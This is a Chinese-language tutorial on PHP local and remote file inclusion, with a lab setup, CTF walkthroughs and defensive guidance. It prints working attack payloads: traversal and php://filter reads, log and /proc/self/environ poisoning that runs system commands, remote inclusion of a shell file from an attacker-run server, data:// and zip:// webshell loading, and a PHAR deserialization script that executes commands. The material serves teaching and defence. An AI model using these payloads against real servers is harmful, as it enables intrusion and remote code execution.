1. 项目概述:为什么文件包含漏洞是Web安全的“经典必修课”
在Web安全领域,PHP文件包含漏洞绝对算得上是一块“活化石”。从我十多年前刚接触安全测试到现在,它从未真正离开过我们的视线。无论是企业渗透测试、CTF竞赛,还是日常的代码审计,这个漏洞都像一位“老朋友”一样频繁出现。项目标题“从LFI到RFI的攻防演练”精准地概括了它的核心演变路径:本地文件包含(Local File Inclusion)是起点,远程文件包含(Remote File Inclusion)则是其更具破坏力的进阶形态。很多新手会觉得,这不过是一个读取文件的漏洞,能有多大危害?但实际上,一个看似简单的LFI,往往能成为打开服务器大门的钥匙,配合其他漏洞,实现从信息泄露到远程代码执行的完整攻击链。
这篇文章,我将从一个实战派的角度,带你彻底拆解PHP文件包含漏洞。我不会只给你一堆枯燥的函数列表和漏洞定义,而是结合我无数次在真实环境和CTF比赛中“踩坑”和“挖洞”的经验,把攻击者的思路、防御者的策略,以及那些在标准文档里找不到的细节技巧,掰开揉碎了讲清楚。我们会从最基础的漏洞原理讲起,一步步搭建靶场,手工复现LFI和RFI,并深入解析几个经典的CTF案例,让你不仅明白漏洞怎么利用,更理解漏洞为什么会产生,以及如何从根本上避免。无论你是刚入门安全的新手,还是想深化理解的开发者,相信这篇长文都能给你带来实实在在的收获。
2. 漏洞原理深度剖析:include/require到底做了什么?
要理解文件包含漏洞,首先必须抛开“文件包含就是读文件”的浅层认知。我们需要深入到PHP解释器的层面,去看看include、require、include_once、require_once这几个函数在执行时,究竟经历了什么。
2.1 核心函数的行为差异与风险根源
这四个函数的核心功能都是将指定文件的内容引入当前脚本并执行。但细微的差别决定了它们在不同场景下的风险表现。
includevsrequire:错误处理的陷阱include在包含失败时只会产生一个警告(E_WARNING),脚本会继续执行。而require在失败时会产生一个致命错误(E_COMPILE_ERROR),脚本会停止。在攻击中,这个特性常被用于“盲注”探测。例如,攻击者尝试包含一个不存在的/etc/passwd文件,如果使用include,页面可能只报个警告但其他内容正常显示;如果使用require,页面直接白屏。有经验的攻击者可以通过页面反应的差异,来判断目标使用的是哪个函数,甚至推断文件是否存在。
_once后缀的意义与绕过思路include_once和require_once会检查目标文件是否已经被包含过,如果是则不会再次包含。这原本是为了避免函数重定义、变量重复赋值等问题。但在某些特制的攻击场景下,攻击者可能会利用这个机制。比如,如果攻击者能控制包含的路径,并且服务器端使用了include_once,那么攻击者首次包含一个恶意文件后,即使后续修复了漏洞点,由于_once机制,恶意文件可能已经被载入内存并执行过了,其留下的后门或内存中的恶意代码可能依然持续生效。这不是主要的攻击向量,但是一个值得注意的角落案例。
风险的根本来源:动态包含漏洞产生的根本原因,几乎无一例外,都是因为开发者使用了动态变量作为包含文件的路径。看看这段典型的漏洞代码:
$page = $_GET['page']; include($page . '.php');开发者的本意可能是好的:通过URL参数动态加载不同的页面模块,比如?page=home会包含home.php。问题在于,他们对用户输入$_GET['page']没有任何过滤和限制。攻击者完全可以传入../../../etc/passwd这样的路径。虽然代码拼接了.php后缀,但通过空字节截断(PHP<5.3.4)或利用PHP的封装协议,攻击者依然可以绕过后缀限制。
2.2 PHP封装协议:将文件包含的威力放大十倍
如果说动态包含是打开了第一道门,那么PHP丰富的封装协议(Wrapper)就是门后那个装满武器的仓库。这是LFI漏洞危害升级的关键,也是很多CTF题目的核心考点。
file://协议这是默认协议。include('file:///etc/passwd')和include('/etc/passwd')在大多数情况下效果一样。但在某些配置了open_basedir限制的场景下,显式使用file://协议可能会与过滤逻辑产生奇妙的化学反应,有时能绕过一些简单的字符串过滤。
php://filter协议:信息泄露的利器这是最常用、最强大的协议之一。它允许你对数据流进行过滤处理。在攻击中,我们主要利用它的read和convert功能来读取源代码,而不是执行它。
- 读取源码:
php://filter/read=convert.base64-encode/resource=index.php这行代码会让PHP以Base64编码的形式读取index.php的源代码。为什么这么做?因为如果直接包含index.php,它会被当作PHP代码执行,我们在浏览器里看不到源码,只能看到执行结果。通过base64-encode过滤器,我们得到的是编码后的文本,解码后就能获得完整的源代码,这对于代码审计、寻找其他漏洞至关重要。 - 链式过滤器:你还可以组合多个过滤器,例如
convert.base64-encode|convert.iconv.UTF8.UTF7/resource=index.php,这在一些需要绕过特殊字符过滤的CTF题目中可能会用到。
zip://与phar://协议:反序列化的跳板这两个协议常常与文件上传漏洞结合,构成“组合拳”。
zip://协议可以访问ZIP压缩包中的文件。假设你上传了一个包含shell.php的ZIP包test.zip,服务器将其保存为/tmp/test.zip。那么通过包含zip:///tmp/test.zip%23shell.php(注意#需要URL编码为%23),就可以直接执行ZIP包里的shell.php。phar://协议更加强大,它不仅可以像zip://一样读取压缩包内文件,其元数据(metadata)部分在反序列化时还会自动触发__wakeup()或__destruct()魔术方法。这意味着,即使你无法直接包含一个.php文件,但如果你能上传一个特制的PHAR文件(扩展名可以是.jpg或.phar),并通过phar://协议去包含它,就有可能触发反序列化漏洞,执行任意代码。这是近年来非常热门的攻击手法。
data://协议:直接执行代码的“魔法”data://协议允许在URL中直接嵌入数据。当allow_url_include配置为On时(默认是Off,这是RFI的前提),include('data://text/plain,<?php phpinfo();?>');将会直接执行phpinfo()函数。这相当于把任意代码直接通过参数传递并执行,危害性极大。它也是实现RFI的一种重要方式。
注意:封装协议的使用受
allow_url_fopen和allow_url_include两个PHP配置项严格控制。allow_url_fopen允许使用HTTP、FTP等URL作为文件路径,allow_url_include则特指允许include/require等函数使用这些远程URL或data://等协议。生产环境中必须将allow_url_include设置为Off。
2.3 服务器配置与漏洞环境的关系
漏洞能否利用成功,严重依赖服务器的配置。理解这些配置,能帮你更准确地判断漏洞存在的可能性。
open_basedir:将PHP可操作的文件限制在指定的目录树中。这是一个重要的安全防线。但历史上存在一些绕过方法,比如利用glob://协议配合目录遍历,或者通过chdir()等函数进行跳转。不过,在现代PHP版本中,open_basedir的防护已经比较牢固。disable_functions:禁用了危险函数(如system,exec,passthru等)会影响包含漏洞利用后的命令执行效果。但攻击者仍可能通过编写纯PHP代码的Webshell来读写文件、连接数据库,或者寻找未禁用的替代函数(如shell_exec、反引号操作符`)。- 文件权限:即使包含到了系统文件(如
/etc/passwd),也需要PHP进程(通常是www-data用户)有读取权限。这是操作系统层面的最后一道屏障。
3. 从LFI到RFI:漏洞利用的完整路径演练
理论讲得再多,不如亲手试一遍。下面我们搭建一个简单的靶场,来完整演练LFI到RFI的利用过程。我建议你在自己的虚拟机或Docker环境里跟着操作,感受会更深刻。
3.1 靶场环境搭建与基础LFI利用
首先,我们创建一个最基础的漏洞文件vuln.php:
<?php // vuln.php - 一个存在文件包含漏洞的脚本 $file = $_GET['file']; if(isset($file)) { include($file); } else { echo "Please provide a 'file' parameter."; } ?>把它放在你的Web服务器根目录(比如/var/www/html/)。确保你的PHP配置暂时是“宽松”的,以便演示所有攻击手法(演示完毕后请务必修改)。你可以快速修改php.ini中的以下项:
allow_url_fopen = On allow_url_include = On(警告:此配置仅用于本地测试环境,生产环境绝不允许开启!)
基础目录遍历:访问http://your-ip/vuln.php?file=../../../../etc/passwd如果成功,你会看到系统的用户列表。这说明基础的目录遍历漏洞存在。
利用PHP Filter读取源码:访问http://your-ip/vuln.php?file=php://filter/read=convert.base64-encode/resource=vuln.php页面会显示一串Base64编码。将其解码,你就能看到vuln.php的源代码。这是审计代码、寻找其他漏洞入口的关键一步。
空字节截断(CVE-2006-7243)与后缀绕过:如果漏洞代码是这样的:include($file . '.php');,开发者以为拼接.php就安全了。但在PHP 5.3.4之前的版本,攻击者可以使用空字节%00来截断后面的字符串。http://your-ip/vuln.php?file=../../../../etc/passwd%00传入的$file是../../../../etc/passwd%00,拼接后成为../../../../etc/passwd%00.php。在旧版本PHP中,%00会被解释为字符串结束符,因此实际包含的文件就是/etc/passwd,.php被成功绕过。注意:这个漏洞在PHP 5.3.4及以后版本已被修复,但在一些老旧系统或CTF复古题中仍可能遇到。
在现代PHP中,更常见的后缀绕过方法是利用?或#。例如:file=php://input?.php。因为?在URL中表示查询字符串的开始,对于文件系统来说,php://input?.php会被当作一个完整的奇怪文件名,而PHP的include在处理php://协议时,会忽略?之后的部分。或者使用#:file=../../etc/passwd%23(#需要编码为%23),因为#在文件路径中通常被忽略。
3.2 利用日志文件实现代码执行
这是LFI漏洞升级为代码执行(RCE)最经典、最实用的方法之一。思路是:将PHP代码注入到服务器某个可被包含的文件中,然后去包含这个文件。
为什么选择日志文件?因为Web服务器(如Apache、Nginx)的访问日志(access.log)或错误日志(error.log)默认对所有用户可读,并且会原样记录HTTP请求中的很多信息,包括User-Agent、Referer等头部字段。如果我们能在这些字段中插入PHP代码,再通过LFI漏洞去包含这个日志文件,代码就会被执行。
实操步骤:
- 找到日志路径。默认路径可能是
/var/log/apache2/access.log或/var/log/nginx/access.log。你可以通过LFI读取/proc/self/fd/下的文件描述符(如果允许)或包含/etc/apache2/envvars等配置文件来猜测路径,或者直接用常见的路径字典爆破。 - 向日志注入代码。使用Burp Suite或curl,发送一个请求,在User-Agent中携带PHP代码。
curl -H "User-Agent: <?php system('id'); ?>" http://your-ip/ - 包含日志文件。访问你的漏洞页面,包含这个日志文件。
http://your-ip/vuln.php?file=/var/log/apache2/access.log - 如果一切顺利,你应该会在页面上看到
id命令的执行结果(当前进程的用户信息)。
实操心得:日志文件通常很大,包含时可能会超时或导致内存不足。一个技巧是,在注入代码后,立即发送大量正常请求“冲刷”日志,让你的恶意请求位于日志文件的末尾,这样包含时加载速度会快一些。另外,确保你包含的是最新的日志文件,有时服务器会按日期分割日志(如
access.log.20231015)。
3.3 利用/proc文件系统实现RCE
Linux的/proc是一个虚拟文件系统,提供了访问内核内部数据结构的接口。其中有一些文件非常适合用于LFI攻击。
/proc/self/environ这个文件包含了当前进程(即处理你请求的PHP进程)的环境变量。其中有一个叫HTTP_USER_AGENT的环境变量,直接对应HTTP请求中的User-Agent头部。因此,攻击手法和日志注入类似:
- 发送一个User-Agent为PHP代码的请求。
- 包含
/proc/self/environ文件。 - 代码被执行。
/proc/self/fd/目录这个目录下是当前进程打开的文件描述符(File Descriptor)的符号链接。通常,文件描述符0、1、2分别对应标准输入、输出、错误。而Web服务器访问日志的文件描述符也可能在这里面(比如/proc/self/fd/10可能链接着/var/log/nginx/access.log)。有时候直接包含日志文件路径会被过滤,但包含/proc/self/fd/10可能就能绕过。你可以尝试遍历/proc/self/fd/目录下的文件。
/proc/self/cmdline这个文件包含了启动当前进程的完整命令。对于PHP-FPM进程,可能会显示出php-fpm: pool www之类的信息。虽然不能直接用于执行代码,但可以用于信息收集,了解服务器运行环境。
3.4 远程文件包含(RFI)实战
当allow_url_include = On时,LFI就进化成了RFI。攻击者可以包含一个远程服务器上的恶意文件,让其在自己的目标服务器上执行。
搭建恶意服务器:
- 在攻击者控制的服务器(IP: 192.168.1.100)上,创建一个名为
shell.txt的文件(注意,扩展名不重要),内容为<?php phpinfo(); ?>。 - 在该目录下启动一个简单的HTTP服务。用Python可以快速实现:
python3 -m http.server 8000。
实施RFI攻击:访问目标漏洞页面:http://target-ip/vuln.php?file=http://192.168.1.100:8000/shell.txt如果配置允许,目标服务器会去请求http://192.168.1.100:8000/shell.txt,获取到其中的PHP代码,并在自己的上下文中执行,从而显示出phpinfo()页面。
利用data://协议实现无外部服务器的RFI:即使没有外部服务器,只要allow_url_include开启,也可以利用data://协议。http://target-ip/vuln.php?file=data://text/plain,<?php phpinfo();?>或者使用Base64编码,避免特殊字符问题:http://target-ip/vuln.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOyA/Pg==
重要注意事项:RFI的成功率在现代网络环境中已经大大降低。主要原因有三点:第一,
allow_url_include默认是Off,且安全规范强烈要求关闭;第二,外部URL可能会被防火墙或安全策略拦截;第三,包含远程文件会在目标服务器的Web日志中留下非常明显的外部IP记录,极易被察觉。因此,在实战中,LFI及其各种“曲线救国”的利用方式(日志、/proc)更为常见。
4. CTF案例解析:在实战中深化理解
CTF题目是漏洞原理的绝佳练兵场。下面我们分析两个典型案例,看看出题人如何“包装”文件包含漏洞,以及我们该如何“拆解”。
4.1 案例一:基础LFI与日志注入
题目特征:题目给出一个简单的页面,只有一个文件包含点,尝试包含/etc/passwd成功。但尝试包含/flag或flag.php时发现没有权限或文件不存在。页面本身没有上传点,也没有其他明显功能。
解题思路:
- 确认漏洞:
?file=../../../../etc/passwd成功,证明LFI存在。 - 尝试读取源码:
?file=php://filter/read=convert.base64-encode/resource=index.php,获取网站源码进行审计。 - 审计源码:在解码后的源码中,发现关键信息:网站使用了Apache服务器,并且错误日志路径是
/var/log/apache2/error.log。或者,通过包含/proc/self/environ发现环境变量中有SERVER_SOFTWARE=Apache。 - 日志注入:向网站任意页面(比如首页)发送一个请求,在User-Agent或Referer中插入PHP代码:
<?php system('cat /flag'); ?>。 - 包含日志:访问
?file=/var/log/apache2/error.log(或access.log,需根据情况尝试)。如果代码被成功写入日志且被包含,就会执行cat /flag命令,在页面上输出Flag。
可能的变种与绕过:
- 日志路径未知:需要暴力猜解常见路径,或利用
/proc/self/fd/目录。 - 日志过大:可以尝试在注入代码后,快速发起大量请求,让自己的请求位于日志文件末尾附近,然后使用
tail命令的变体,但通过LFI实现比较困难。有时可以尝试包含/proc/self/fd/X,其中X是日志的文件描述符,可能能避免加载整个大文件。 - 特殊字符过滤:如果题目对
<、>、?、php等关键字进行了过滤,需要尝试编码绕过。例如,使用<?=短标签代替<?php,或者将代码用Base64编码后配合data://协议执行(前提是allow_url_include开启)。
4.2 案例二:结合文件上传与zip/phar协议
题目特征:题目提供一个文件上传功能,但上传后会对文件内容或后缀进行严格检查(例如,只允许上传图片,并且会用getimagesize()函数验证)。同时,网站某处存在一个LFI漏洞点。
解题思路:
- 分析上传限制:通常这类题目允许上传
.jpg、.png等,但会检查文件头(如GIF89a)或进行图片重渲染。我们的目标是将一个PHP Webshell嵌入到一个“合法”的图片中。 - 制作恶意图片:最简单的方法是使用
copy命令(Windows)或cat命令(Linux)将Webshell追加到一张真实图片的后面。
这样生成的cat shell.php >> normal.jpgnormal.jpg既能通过图片验证(因为文件头是合法的图片格式),又包含了PHP代码。上传这个文件。 - 找到文件存储路径:上传成功后,页面通常会回显文件的访问路径,如
/uploads/abc123.jpg。如果没有,可能需要结合目录遍历或源码审计来猜测上传目录。 - 尝试直接包含:直接LFI包含上传的文件路径
?file=./uploads/abc123.jpg。如果服务器配置为“只要文件内容包含<?php ... ?>就尝试解析”,那么可能会成功。但很多服务器只根据.php后缀来解析PHP。 - 利用zip协议绕过:如果直接包含不成功,我们可以利用
zip://协议。- 将我们的Webshell(
shell.php)压缩成shell.zip。 - 将
shell.zip重命名为shell.jpg(或其他允许的后缀)并上传。 - 通过LFI包含:
?file=zip://./uploads/shell.jpg%23shell.php。这里%23是#的URL编码,用于指定压缩包内的文件。
- 将我们的Webshell(
- 利用phar协议与反序列化:这是更高级的利用方式。如果题目环境还涉及PHP对象序列化,我们可以创建一个恶意的PHAR文件。
执行这个脚本生成// 创建一个生成PHAR的脚本 create_phar.php class EvilObject { public $cmd = 'system("cat /flag");'; public function __destruct() { eval($this->cmd); } } $phar = new Phar('evil.phar'); $phar->startBuffering(); $phar->addFromString('test.txt', 'test'); // 添加一个文件以符合PHAR格式 $obj = new EvilObject(); $phar->setMetadata($obj); // 将恶意对象存入metadata $phar->setStub('<?php __HALT_COMPILER(); ?>'); $phar->stopBuffering();evil.phar,将其重命名为evil.jpg后上传。 然后通过LFI包含:?file=phar://./uploads/evil.jpg。当PHP解析这个phar文件时,会自动反序列化metadata中的EvilObject对象,触发其__destruct()方法,从而执行命令。
这类题目综合考察了文件上传绕过、LFI漏洞利用以及PHP高级特性(封装协议、反序列化)的理解,是CTF中的高频题型。
5. 防御策略:从开发到部署的全链路防护
理解了攻击,才能更好地防御。防御文件包含漏洞需要开发、运维和安全团队共同努力,在软件生命周期的各个阶段布防。
5.1 开发阶段:编写安全的代码
这是最根本、最有效的防御手段。
1. 避免动态包含,或使用白名单机制
- 最佳实践:完全避免使用用户输入直接作为包含文件的路径。如果业务必须动态加载,请使用白名单。
$allowed_pages = ['home', 'about', 'contact']; $page = $_GET['page']; if (in_array($page, $allowed_pages)) { include($page . '.php'); } else { include('404.php'); } - 路径固定:如果需要包含,尽量使用固定的相对路径或绝对路径,将用户输入作为参数传递,而不是路径的一部分。
// 安全示例:用户输入作为参数 include('./templates/header.php'); $content_id = (int)$_GET['id']; // 强制转换为整数 // 然后根据$content_id从数据库加载内容,而不是包含文件
2. 严格过滤和验证输入
- 类型强制转换:如果期望是数字,就用
(int)或intval()。 - 路径净化:使用
basename()函数获取路径中的文件名部分,它会自动剥离目录遍历字符(../)。
但注意,$file = basename($_GET['file']); // 如果输入是../../../etc/passwd,$file会变成'passwd' include('./pages/' . $file . '.php');basename()在处理非ASCII字符时可能有问题,且它不能防止包含非预期目录下的文件(如果./pages/目录下存在一个你不想被包含的文件)。 - 正则表达式检查:使用严格的正则表达式匹配允许的文件名模式(如只允许字母、数字、下划线和短横线)。
if (preg_match('/^[a-zA-Z0-9_-]+$/', $file)) { include($file . '.php'); }
3. 使用安全的文件操作函数考虑使用realpath()函数来解析路径,它会返回规范化的绝对路径,并解析所有的符号链接和../。然后,你可以检查这个绝对路径是否在以你的Web根目录为前缀的合法路径下。
$base_dir = '/var/www/html/includes/'; $user_path = $_GET['file']; $real_path = realpath($base_dir . $user_path); // 检查realpath是否成功,并且路径是否以$base_dir开头 if ($real_path !== false && strpos($real_path, $base_dir) === 0) { include($real_path); } else { die('Invalid file path.'); }注意:realpath()在文件不存在时会返回false,这本身也可能被攻击者用于探测文件是否存在(盲注),因此错误信息要统一处理。
5.2 服务器配置:收紧安全边界
代码层面的防御需要配置层面的支持。
1. PHP配置(php.ini)
allow_url_include = Off:必须关闭。这是阻止RFI的最关键配置。allow_url_fopen = Off:如果业务不需要从远程URL打开文件,建议关闭。这能增加攻击成本。open_basedir:设置为Web应用的根目录及其必要子目录(如临时目录、上传目录)。用冒号分隔多个路径。例如:open_basedir = /var/www/html/:/tmp/。这能将PHP的文件操作限制在指定范围内。disable_functions:禁用不必要的危险函数,如system,exec,passthru,shell_exec,proc_open,popen等。即使攻击者通过包含漏洞写入了Webshell,也无法执行系统命令,大大降低了危害。display_errors = Off/log_errors = On:生产环境关闭错误显示,防止路径等敏感信息泄露;开启错误日志,便于排查问题。
2. Web服务器配置
- 以最小权限运行:PHP-FPM进程或Apache的PHP模块应以独立的、低权限用户(如
www-data、nginx)运行,并确保其无法访问Web根目录之外的敏感文件。 - 日志文件权限:确保Web服务器日志文件(
access.log,error.log)的权限尽可能严格,例如设置为640(所有者可读写,所属组可读,其他用户无权限),并且所有者是root,进程用户属于日志文件所属组。这样即使存在LFI,PHP进程也可能无法读取日志内容。 - 目录权限:上传目录应设置为不可执行。可以通过在Nginx配置中为上传目录添加
location ~* ^/uploads/.*\.(php|php5)$ { deny all; },或在Apache的.htaccess中添加RemoveHandler .php .php5 .phtml等指令,防止上传的恶意脚本被直接执行。
5.3 运维与安全监控
1. 定期更新与漏洞扫描
- 保持PHP、Web服务器及所有依赖库的最新版本,及时修复已知漏洞。
- 使用静态代码分析工具(如SonarQube, PHPStan)或专门的漏洞扫描工具,在开发流程中自动检测潜在的包含漏洞。
2. Web应用防火墙(WAF)规则
- 配置WAF规则,拦截包含
../、..\、php://、zip://、phar://、data://等危险字符串的请求。 - 注意,攻击者可能会对Payload进行多次编码(如URL编码、Unicode编码)以绕过简单的字符串匹配,因此WAF规则需要能进行规范化解码和深度检测。
3. 监控与告警
- 监控服务器日志,特别是错误日志,寻找包含异常路径(如
/etc/passwd、/proc/self/environ)的请求记录。 - 监控文件系统,关注Web目录下是否出现异常的可执行文件。
- 对包含
include/require且使用了$_GET、$_POST、$_COOKIE等变量的代码进行重点人工审计。
6. 常见问题与排查技巧实录
在实际渗透测试和CTF比赛中,我遇到过各种各样关于文件包含的“坑”。这里分享一些典型的排查思路和技巧。
问题1:包含路径被拼接了后缀,如何绕过?
- 场景:代码是
include($_GET['file'] . '.php');。 - 排查与绕过:
- 空字节截断:首先尝试
%00(?file=../../../etc/passwd%00)。仅对PHP旧版本有效。 - 利用
?或#:尝试?file=php://input?.php或?file=data://text/plain,<?php...>?.php。?后的内容在文件包含时可能被忽略。 - 利用路径长度截断:在极旧版本的系统中,超长路径可能会被截断。现在基本无效。
- 利用协议:
php://filter协议本身不关心后缀,?file=php://filter/read=convert.base64-encode/resource=index.php,后面的.php会被当作协议参数的一部分,可能不影响协议本身的解析。 - 利用目录遍历+已存在文件:如果目标目录下存在一个你已知的
.php文件,你可以用../跳出限制后再跳回来包含它。例如,假设你知道存在/var/www/html/config.php,可以尝试?file=../../../var/www/html/config。但这需要精确的信息。
- 空字节截断:首先尝试
问题2:包含日志文件没反应,怎么回事?
- 可能原因:
- 日志路径不对:Apache和Nginx的默认日志路径不同,且可能被自定义。使用
/proc/self/environ读取环境变量,或尝试包含/etc/apache2/apache2.conf、/etc/nginx/nginx.conf等配置文件来寻找线索。 - 日志权限不足:PHP进程用户可能没有读取日志文件的权限。尝试包含
/proc/self/fd/下的链接,有时会有不同的权限上下文。 - 代码未成功注入:某些WAF或自定义代码可能会过滤或转义请求头中的特殊字符。尝试使用不同的注入位置(User-Agent, Referer, X-Forwarded-For等)和不同的编码方式。
- 日志文件过大:包含一个几百MB的日志文件可能导致脚本超时或内存耗尽。尝试在注入后立即进行包含,或者利用
tail命令的思路,但通过LFI实现较难。有时可以关注error.log,它通常比access.log小。
- 日志路径不对:Apache和Nginx的默认日志路径不同,且可能被自定义。使用
问题3:明明allow_url_include是On,RFI却不成功?
- 排查步骤:
- 确认配置:使用
phpinfo()页面确认allow_url_include和allow_url_fopen确实为On。 - 检查网络连通性:确保目标服务器能访问你的恶意服务器。防火墙、安全组、出站规则都可能拦截请求。
- 检查协议和端口:目标服务器可能只允许访问特定端口(如80、443)。确保你的恶意HTTP服务运行在常用端口。
- 检查文件扩展名:有些PHP配置(如
security.limit_extensions)或Web服务器配置可能会根据URL的后缀来决定是否交给PHP解析。确保你的远程文件有一个能被解析的后缀,或者使用data://协议。 - 查看错误日志:目标服务器的错误日志可能会记录包含失败的原因,如“URL file-access is disabled”或“failed to open stream”。
- 确认配置:使用
问题4:在CTF中,包含点似乎被过滤得很死,怎么办?
- 思路扩展:
- 二次编码:尝试对Payload进行双重URL编码。例如,
../编码一次是%2e%2e%2f,再编码一次是%252e%252e%252f。过滤函数可能只解码一次。 - 非常规路径分隔符:在Windows环境下,可以尝试
..\或....//、....\/等变体。在PHP中,include函数在Windows下也能接受/作为分隔符,但可以尝试混合使用。 - 利用PHP特性:PHP的
include在包含不存在的文件时,如果路径是一个目录,可能会包含该目录下的index.php或default.php(取决于配置)。这有时能用于模糊测试。 - 关注非标准输入点:
$_GET是最常见的,但也要检查$_POST、$_COOKIE、$_SERVER中的某些变量(如$_SERVER['HTTP_X_FORWARDED_FOR']),有时漏洞点隐藏得很深。 - 结合其他漏洞:文件包含很少孤立存在。看看有没有文件上传、SSRF(服务器端请求伪造)、甚至SQL注入(通过
load_file()函数读取文件)可以与之结合,形成攻击链。
- 二次编码:尝试对Payload进行双重URL编码。例如,
文件包含漏洞的魅力在于它的“基础”和“灵活”。它不像一些复杂的逻辑漏洞那样难以发现,但其利用方式却可以千变万化,与服务器配置、其他漏洞点紧密耦合。真正掌握它,需要你对PHP运行机制、服务器配置、操作系统都有一定的了解。希望这篇超过五千字的深度解析,能帮你建立起关于这个“经典漏洞”的立体认知。在安全的世界里,知其然,更要知其所以然,这才是抵御风险最坚固的盾牌。